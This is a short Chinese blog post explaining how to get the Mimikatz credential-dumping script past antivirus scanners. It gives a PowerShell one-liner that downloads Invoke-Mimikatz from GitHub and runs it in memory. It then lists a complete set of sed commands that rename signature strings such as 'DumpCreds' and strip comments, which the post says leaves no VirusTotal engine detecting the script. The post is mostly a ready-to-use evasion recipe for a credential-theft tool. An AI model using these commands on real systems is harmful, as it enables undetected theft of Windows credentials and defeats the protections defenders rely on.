如何绕过杀软执行 Mimikatz?

曾几何时,你是否也像我一样希望执行 Mimikatz 的时候不会被杀毒软件查杀。但现实却是,当我从 PowerSploit 上下载 PowerShell 脚本 "Invoke-Mimikatz" 后,无论是否将脚本存储到硬盘当中都会立马被 Windows Defender 标记为了恶意软件。

powershell "IEX (New-Object Net.WebClient).DownloadString
('https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/
Invoke-Mimikatz.ps1');Invoke-Mimikatz"

随后将 "Invoke-Mimikatz" 脚本上传到 VirusTotal,我们会发现共有 19 个杀毒软件会将其标记为恶意软件。


但是呢,我们也知道杀毒软件的检测通常都只是简单基于查找文件中的敏感词汇,所以在修改部分敏感词汇后就可以绕过一些杀毒软件了,例如将文件名替换为 "Invoke-Mimidogz" 后,就只有 8 个杀毒软件会在检测到。

sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
在让我们把脚本中的无用的内容都去除看看效果呢?
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1

一下就只剩 4 个杀毒软件还会在报了。那么让我们继续改进,好像杀毒软件不太喜欢 "DumpCreds" 这个词,那么改成 "DumpCred" 怎么样呢?

sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1

现在就只剩 2 个杀软了,通常来说我一般就会到此结束了,毕竟已经有大量可用的了,谁还在乎那剩下的两个杀软呢。但是此时我女儿问我“为什么不能进一步绕过所有的杀软呢?”。好吧,那就让我们继续吧,仅需要在增加三行即可完成,下面把所需的完整代码一次全部贴出来:

sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1
sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1
sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1
sed -i -e 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g' 
Invoke-Mimikatz.ps1
sed -i -e "s/\-Win32Functions \$Win32Functions$/\-Win32Functions 
\$Win32Functions #\-/g" Invoke-Mimikatz.ps1
至此,我们在没有修改任何功能的情况下,仅通过简单修改 Mimikatz 脚本就绕过了所有杀软的查杀。所以,你还在迷信杀毒软件的保护吗?
注:本文参考来源于blackhillsinfosec
编辑于 2017-01-13

文章被以下专栏收录